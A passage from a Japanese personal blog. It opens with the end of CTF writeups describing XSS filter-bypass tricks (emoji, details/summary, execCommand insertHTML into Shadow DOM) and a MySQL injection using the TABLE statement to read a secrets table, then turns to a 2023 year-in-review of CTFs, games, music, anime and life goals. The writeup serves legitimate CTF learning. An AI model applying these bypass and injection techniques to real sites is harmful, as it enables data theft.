           shadow = null
           mtag = null

           setTimeout(p,500)
       </script>
    </body>
</html>

containsText が絵文字等は(範囲外なので)見つけられないことには気づいていた。また、たとえば <object><h1 contenteditable>abc</h1></object> のように object 要素を使うとなぜか shadow.children[0].innerText が空文字列になってチェックをバイパスできることにも気づいていた。それで終わり。object 以外にも、dialog みたいな表示を切り替えられそうなやつならば同じく innerText のチェックをバイパスできるのではと思ったけど、色々試してダメだった。正解

  • 絵文字で containsText をバイパス
  • detailssummary の組み合わせで innerText のチェックをバイパス
  • document.execCommand('insertHTML', …) でcustom elementsを仕込む。connectedCallback でShadow DOMに潜入

という流れらしかった。

catfinder

ペイロード/^[a-z()`']+$/ にマッチしないとダメ、flagsleep といった文字列は含ませてはいけないし、かつ ( は2回以上出現してはいけないという制約のもとで、MySQLでSQLiをせよという問題。

抜き出したい情報のある secrets テーブルはカラムがひとつ、レコードもひとつしかないので SELECT 'hoge' > (SELECT * FROM secrets) がいけるじゃんと思ったけど、SELECT * 相当のことをどうやるかという問題がある。order by

Columns selected for output can be referred to in ORDER BY and GROUP BY clauses using column names, column aliases, or column positions. Column positions are integers and begin with 1:

(https://dev.mysql.com/doc/refman/8.0/en/select.html)

とそのカラムのポジションでも指定できるので、これで 1 を指定すると flag が指定できるじゃん、あとは SELECT 'a' UNION SELECT … みたいに適当な文字列とUNIONしてソートさせて、どちらが先に来たかというのをオラクルにできそうと思った。けれども、やっぱり SELECT * 相当のことをどうやんねん、あとそのオラクルとやらは、レコードが1行以上あるかどうかしかわからない状態で、どうやって外から観測すんねんという問題があった。

答えは table らしかった。table ステートメントで、"returns rows and columns of the named table" とのこと。SELECT * FROM secrets 相当だ。

mysql> select (table `secrets`);
+-------------------+
| (table `secrets`) |
+-------------------+
| ASIS{testflag}    |
+-------------------+
1 row in set (0.00 sec)

2023年の振り返り

そういう気分なので、年が変わらないうちに2023年をどう過ごしたか振り返りたい。@uta8aさんや@task4233さんの書くような日記が好きで、とはいえ私の場合はあれほどの言語化能力はないわけだけれども、自分も何か書けたらと思う。

Xのポストだったり、infosec.exchangeの投稿だったり、あるいはどこにも公開していない日記があるので、それらをベースにこの1年を思い出していきたい。1月は何をした、2月は何をしたと1月単位で振り返ってもよいのだけれども、この月は虚無だったという記述が多くなりそうなので、CTFやらゲームやらといったカテゴリに分けて書いていきたい。


CTF

参加側

zer0ptsが最近インアクティブなのもあってあまり参加していなかった気がする。気がするというだけで、今年投稿したwriteupだけでも19件ある。昨年が14件であるから、真面目に出たCTF数で比較するとむしろ増えていそう。zer0ptsでなければどこで出るのかという話だけれども、最近出るときは std::weak_ptr<moon> という謎チームか、謎混成チームか、ソロかという具合だ。

知っているCTFerが就職とともに消えていくのを何度も観測しているので、自分はどうだろうかと思っていたけれども、昨年に就職してからペースは落ちたがコンスタントに遊んでいるのは変わらない。常に勝ちを狙う、そのために徹夜をするという熱心さは薄れたかもしれない。そういうプレイの仕方を続けていれば早晩「終わる」し、勝つべきところを選んでそのときだけ力を入れて、ほかはのんびりやるスタイルになってきた。来年もこういう感じでのんびりやっているのだろう。

SECCON CTF 2022, 2023の国内決勝大会はそれぞれ2月と12月の開催ということで、いずれも今年だった。優勝と準優勝ということで嬉しいけれども、次回は国際決勝大会への出場だったり、あるいは国内決勝大会での再びの優勝であったりを目指したい。今年度大会はまだ立ち向かえていた方だけれども、それでも得意分野であるはずのWeb問で解けた問題が5問中3問といい感じに解けているのか解けていないのかという具合で、これは精進するしかない。

来年も頑張りたいCTFといえばInternational Cybersecurity Challenge(ICC)だ。ICC 2023はアメリカはサンディエゴでの開催で、結果から言うとチームアジアは総合3位、A&Dでは(昨年に引き続き)1位という結果だった。A&Dは面白かったけれども、Jeopardyが微妙だった。writeupも公開してはいけないという謎ルールだったし。

ICC 2023のチームアジア編成にあたっての予選大会に位置づけられる、Asian Cyber Security Challenge(ACSC)という大会がある。2023年度大会では、チームメンバーに選ばれる条件として

A Player is under 26 years of age (25 years or younger as of January 1st, 2023 in “international age”. Born on or after 01.01.1997)

という項目があった。次回のACSCでもそのまま1月1日時点で25歳以下であるという条件が残るのであれば、次回がラストチャンスとなる。ICC 2024へ行きたい。ACSC 2023ではかなりギリギリの通過で、インド勢が参加できていれば私は行けたかどうかわからないというところだった。ACSCは特定のカテゴリだけで通過するのはよほどでなければ難しく、全カテゴリでまんべんなく解ける方が通過しやすい印象がある。次回もそうなるかはわからないが、とにかく通過できるよう精進したい。

ほか、SECCON以外でもどこかしらの決勝大会へ行ければよいなと思う。

運営側

zer0pts CTF 2023と社内CTFにあわせて20問と少しの問題を提供した。後者の割合が大きすぎないか。これまでで一番作問した1年だったのではないかと思うけれども、ptr-yudaiさんの作問量(今年だけでも50問は出題しているのでは?)には当然ながら及ばない。私の場合は、実装から解けるかどうかの検証までを1単位として(つまりアイデア出しは除いて)、1問に短くとも3時間、普通5時間はかかるので、ptr-yudaiさんはどこからそのアイデアと実装時間が出てきているのだろうと思う。

zer0pts CTF 2023は7月の開催だった。その中だとWarmuprofileというwarmup問が自分でも面白いんじゃないかと思う。派手な破壊ができる問題を作りたかったというのと、作問者writeupにも書いているけど「非定型のビジネスロジックバグの問題を作りたかった」という気持ちからできた。参加者ごとに環境が分離されていれば、かつコードがJSであればPrototype Pollution問だろうという風潮を破壊しよう。

来年もzer0pts CTFが開催されるかはわからないけれども、こういうオープンな場で出題するということは引き続き来年もやっていきたい。参加者のwriteupやら感想やらを読むのはとても楽しいし、普通に解かれるのも、非想定の解法で解かれるのもまた嬉しい。

ゲーム

遊んだ順に書いていく。中断率が高すぎる。「イハナシの魔女」「パラノマサイト」「ブレイズ・ユニオン」「プリンと盾琴」あたりが特に好き。

  • Project Wingman: 去年エースコンバット7を買ってみて面白かったので、その勢いで買って遊んだもの。コモナみたいな多数対多数の空戦ステージが特に派手で楽しかった
  • リトル ノア 楽園の後継者: 元はソシャゲらしいけれども、そちらは遊んでいない。ローグライトアクションということで失敗のたびにリセットされるわけだけれども、ちまちまと恒久的に能力を上げることもできる。単調すぎず難しすぎずでサクッと楽しめた
  • イハナシの魔女: ボーイミーツガールのノベルゲーム。今年遊んだゲームの中でも特に好き。沖縄へ行ってみたいかも
  • モンスターハンターライズ: Xbox Game Passに入ったのでソロで遊んでいた。無印とフロンティアぐらいしか遊んだことがないので、かなり久しぶりのモンハンだった。里クエストは終わらせて、集会所クエストの★6に入ったところでやめていた気がする。徐々に強くなっていく過程が好き
  • スーパーダンガンロンパ2: 中学生のときに1作目は遊んでいたのだけれども、2作目を遊びたい遊びたいと思いつつ結局買わなかったという経緯がある。昨年末に1作目の配信が解禁されたのもあり、ニコニコ動画YouTubeでよく見かけるようになったのもあって遊びたくなり、買った
  • Dorfromantik: ソロで遊ぶカルカソンヌみたいなゲーム。手札がなくなってゲームオーバーになったときでも、きれいな町ができたしまあいいやと思える。のんびり遊べて好き
  • ルーンファクトリー4スペシャル: ギャルゲーらしいと聞いて遊んだ。徐々に1日のルーチンが決まってきて、どうもダレてきてしまい、第1部を終わらせてフォルテと結婚したところで中断していた気がする
  • モン娘ぐらでぃえーた: Steamのセール中の作品を見ていたところ、かわいいしゲーム性も気になったので買う。全実績解除まで遊んだ。ローグライトRPGと自称しているけれども、その通りに1プレイが30分ぐらいで終わり、お手軽でよい
  • えとはなっ!: 「菊に盃」を罵倒する記事がバズっていたのを見てそういえば知らないなと思い、こいこいのルールを覚えて遊んでみて、しばらくハマっていた。楽しいけれども、たしかに「菊に盃」はバランスブレイカーだ
  • パラノマサイト: インターネットで話題だったので、ネタバレを踏まないうちにとさっさと購入して遊んでいたもの。プレイ前はホラーかと思っていたけれども、いや、たしかにホラーではあるのだけれども、キャラクターは魅力的だしシナリオも面白いしで夢中になっていた
  • ブレイズ・ユニオン: 昨年にMy Nintendo Storeでセール中の「ユグドラ・ユニオン」を偶然見つけて、調べたところイラストがかわいく、システムもSRPG、ストーリーもなかなかハードということで面白そうだったので買って遊んでいた。そのままハマり、2作目もリマスターが発売されたということで遊ぶ。「グロリア・ユニオン」も購入済みなのでいずれ遊びたいところ
  • ブルーアーカイブ: 好きな生徒は棗イロハ。去年にインストールして、対策委員会編の第1章だけやっていたものの、それ以降は遊んでいなかった。6月ぐらいに続きをやろうとしたところ、ストーリーの途中でどうしても生徒を育成しなければ突破できない箇所が出てきた。そこのために毎日ちまちまと育てていた所、そのまま習慣化した。実はまだ最終章を読んでいない
  • 異世界の創造者: Elonaは圧縮ファイルを展開してはゴミ箱に入れられがちだということで有名だけれども、私もシステムに慣れることができなかった口だ。遊びやすいシステムになっていると聞いて遊んでみたのだけれども、確かにその通りだった。ただ、しばらく遊んで中断してしまっている
  • Starfield: ベセスダの新規IPということで発表時点から楽しみにしていたもの。とりあえず1周遊んだが、メイン・派閥・サブ含むシナリオ、戦闘、宇宙船の改造と楽しかった。2周目は忘れた頃にやるかも
  • ゴーストリコン ワイルドランズ: ドンパチ撃ち合いたい、でもマルチは嫌だからとなんか買ってみたやつ。ちまちま敵を減らしていったり、あるいは正面から撃ち合ったりするのは楽しいんだけれども、10時間ほど遊んで飽きてしまった
  • プリンと盾琴: あのカタテマの最新作ということで発売前から楽しみにしており、発売日に購入したもの。いつものやつを期待して遊んだらいつものやつが出てきて大満足。全実績解除まで遊ぶ。敵の配置を覚えて、盾を使う最適なタイミングを考えるパズルのようなシューティングといったところか。相変わらずの素晴らしいシナリオだった
  • BattleBit Remastered: ジェネリックバトルフィールドと聞いて買った現代FPS。BFの経験は3, 4のみだけれども、あまり知らん人とのマルチプレイが好きでない自分でも楽しめた記憶がある。とにかく参加人数が多いということで、立ち回りをミスったとしてもその責任が薄まる感覚があるのがよい。127対127はさすがに多すぎて笑う

音楽

あまり新しい曲を探しに行かない、保守的な1年だったと思う。SpotifyのMy Top Songs 2023によると「ブルーアーカイブ」のOSTばかり聞いていたらしい。上位5曲が「Connected Sky」「SAKURA PUNCH - Hard Arrange」「Starting Pistol」「RE Aoharu」「Funky Road」とブルアカで埋まっている。

アニメ

見たいものはたくさんあるのだけれども、ほとんど見られていない。ゲームやらCTFやらほかの趣味を優先してしまっている状況だ。来年はもうちょっと見たい。アニメを見た際にはAnnictへ記録を残しているのでそれを参照すると、今年は以下の作品を見たらしい。

  • Do It Yourself!! -どぅー・いっと・ゆあせるふ-
  • 連盟空軍航空魔法音楽隊ルミナスウィッチーズ
  • お兄ちゃんはおしまい!
  • お隣の天使様にいつの間にか駄目人間にされていた件
  • 王様ランキング
  • 灰羽連盟
  • GOSICK

GOSICK」はまだ視聴中だけれども。

生活

5段階評価で言えば1か2だと思う。食事は△、家事も△、運動は✘。一人暮らしということで色々ちゃんとすることで得するのは自分のみ、サボって損するのも自分のみなのでズルズルとサボる方を選択してしまう。このまま続けると後々健康面で大きな代償を支払うことになるのではという気持ちがあり、改善したいとは思う。思ってはいるんだけどなあ。

ほか

労働。楽しくやっている。

SNS。相変わらずXが中心にあり、ただ最近のXのゴタゴタから@st98@infosec.exchangeの方もちょっとアクティブになっている。比較的まともな内容は前者、適当な内容は後者という使い分けをしている。

旅行。2月に宮崎、11月に金沢へ行った。来年もまたどこかへ行きたいなと思っている。山陰、山陽、四国あたりへ行きたい。CTF以外で海外へ行ったことがないので、いずれ普通の海外旅行をしたいけれども、来年実行するかはどうだろうというところ。

CODE BLUE 2023だったり、Flatt Securityのmini CTFとSpeedrun CTFだったり、興味を惹かれるものが多くあったので、今年の後半はオフラインのセキュリティ系のイベントにそこそこ参加していた。ただ、家から出るのはやはり面倒なので来年どうなるかはわからん。

2024年について

なにか中長期的に大きな目標を立て、マイルストーンを設置し、少しずつ達成に向かって積み上げていくということが苦手で苦手で仕方がない。助けてくれ。頑張らんかいという話だが、そういうわけで達成しなければならない目標を掲げること自体に忌避感を持ってしまっている。やれるならやる程度の努力目標ということで一応掲げておく。

  • ちゃんと寝る: 現時点で睡眠時間は十分に取れているとは思うけれども、できれば毎日9時間は寝たい
  • ちゃんと食べる: 1日3食。粗食は避けたい。noshやBase Breadのような宅配サービスの利用を検討すべきかもしれない
  • ちゃんと運動をする: はい

来年もほどほどに頑張って生きていこう。